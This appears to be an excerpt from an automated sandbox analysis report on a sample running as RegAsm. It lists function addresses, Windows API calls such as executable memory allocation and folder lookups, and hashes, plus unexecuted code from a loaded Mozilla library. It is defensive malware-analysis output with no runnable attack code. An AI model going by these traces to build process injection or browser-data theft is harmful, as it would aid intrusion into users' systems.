Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: a14e22fb585cb16c113beb7bcb18930bcb75ccaccc4e208952de428410666a7d
Instruction ID: 017ac7ccb016cdea61b46ebc3594dc0cbb3a73719d0b3168d26a99536f62265a
Opcode Fuzzy Hash: a14e22fb585cb16c113beb7bcb18930bcb75ccaccc4e208952de428410666a7d
Instruction Fuzzy Hash: 23513D71A00119ABCF01FBA5EE468CD7775AF04309F51002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CD02 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CD13

Part of subcall function 0041BCB6: lstrlenA.KERNEL32(?,0041CD24,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCE8
Part of subcall function 0041BCB6: malloc.MSVCRT ref: 0041BCF0
Part of subcall function 0041BCB6: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCFB

malloc.MSVCRT ref: 0041CD50

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: 465e3de8e98db6d08ae849f7adb27b96f5506e18be780ac3d5a762568d42760d
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 45F024726442156BD720AF6AFC8298BBF94EB44BA0F050137FE089B341DA34CC4083F9

Function 004185F8 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction ID: 5fcf984cd7fe605291b0de8237dc76cab2bfba5574b06f9febeddb3a0b35f763
Opcode Fuzzy Hash: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction Fuzzy Hash: 23515E71901600ABCA617BAE854EEF6B2D5AFB0318F14049FF414AA3728F6D8DD05E9D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction ID: bf21393ab5a8fe934e7e47c1d037db09aa10e41c3ad2262e9a6d785215cd78c0
Opcode Fuzzy Hash: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction Fuzzy Hash: 9CF03AB1E1016DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA749F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C477 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C488

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction ID: c2638ddd63b5396af693f06652562c02e93d4509c9b8d8ca2e3964453f61446c
Opcode Fuzzy Hash: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction Fuzzy Hash: 13210574200B10CFC320DF6ED485996B7F5FF4932471448AEEA8A8B722D776E881CB16

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C105440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C105492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C1054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C1054BE
__Init_thread_footer.LIBCMT ref: 6C1054DB

Part of subcall function 6C12AB3F: EnterCriticalSection.KERNEL32(6C17E370,?,?,6C0F3527,6C17F6CC,?,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB49
Part of subcall function 6C12AB3F: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F3527,6C17F6CC,?,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12AB7C

Part of subcall function 6C12CBE8: GetCurrentProcess.KERNEL32(?,6C0F31A7), ref: 6C12CBF1
Part of subcall function 6C12CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C0F31A7), ref: 6C12CBFA

GetCurrentThreadId.KERNEL32 ref: 6C1054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C105516
GetCurrentThreadId.KERNEL32 ref: 6C10556A
AcquireSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C105577
moz_xmalloc.MOZGLUE(00000070), ref: 6C105585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C105590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C1055E6
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C105606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C105616

Part of subcall function 6C12AB89: EnterCriticalSection.KERNEL32(6C17E370,?,?,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB94
Part of subcall function 6C12AB89: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12ABD1

GetCurrentThreadId.KERNEL32 ref: 6C10563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C105646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C10567C
free.MOZGLUE(?), ref: 6C1056AE

Part of subcall function 6C115E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C115EDB
Part of subcall function 6C115E90: memset.VCRUNTIME140(6C157765,000000E5,55CCCCCC), ref: 6C115F27
Part of subcall function 6C115E90: LeaveCriticalSection.KERNEL32(?), ref: 6C115FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C1056E8
GetCurrentThreadId.KERNEL32 ref: 6C105707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C10570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C105729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C10574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C10576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C105796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C1057B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C1057CA

Strings

- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C105D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C105AC9
[I %d/%d] profiler_init, xrefs: 6C10564E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C105BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C10584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C1056E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C1054A3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C105791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C1057AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C105766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C105749
MOZ_BASE_PROFILER_HELP, xrefs: 6C105511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C1054B9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C105724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C105CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C105D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C105D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C105C56
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C1057C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C10548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C105D24
MOZ_PROFILER_STARTUP, xrefs: 6C1055E1
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C105717
GeckoMain, xrefs: 6C105554, 6C1055D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C105B38

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a0f23aa150d2d3aec586b0237f59da99da0bec3fdb6d198a8713b340f2eedaf5
Instruction ID: 3831fc8e02b1c4bde835b1c4da82d6ec01ec988d5da86fa91ab8e75adacb290e
Opcode Fuzzy Hash: a0f23aa150d2d3aec586b0237f59da99da0bec3fdb6d198a8713b340f2eedaf5
Instruction Fuzzy Hash: 302244B4A043108FEB01AF34C82876A7BB5BF5634CF540A2AF94A87B41EF34C455CB66

Function 6C106C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C106CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C106D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C106D26

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C106D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C106D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C106D73
free.MOZGLUE(00000000), ref: 6C106D80
CertGetNameStringW.CRYPT32 ref: 6C106DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C106DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C106DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C106DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C106E10
CryptMsgClose.CRYPT32(00000000), ref: 6C106E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C106E34
CreateFileW.KERNEL32 ref: 6C106EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C106F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C106F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C10709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C107103
free.MOZGLUE(00000000), ref: 6C107153
CloseHandle.KERNEL32(?), ref: 6C107176
__Init_thread_footer.LIBCMT ref: 6C107209
__Init_thread_footer.LIBCMT ref: 6C10723A
__Init_thread_footer.LIBCMT ref: 6C10726B
__Init_thread_footer.LIBCMT ref: 6C10729C
__Init_thread_footer.LIBCMT ref: 6C1072DC
__Init_thread_footer.LIBCMT ref: 6C10730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C1073C2
VerSetConditionMask.NTDLL ref: 6C1073F3
VerSetConditionMask.NTDLL ref: 6C1073FF
VerSetConditionMask.NTDLL ref: 6C107406
VerSetConditionMask.NTDLL ref: 6C10740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C10741A
moz_xmalloc.MOZGLUE(?), ref: 6C10755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C107568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C107585
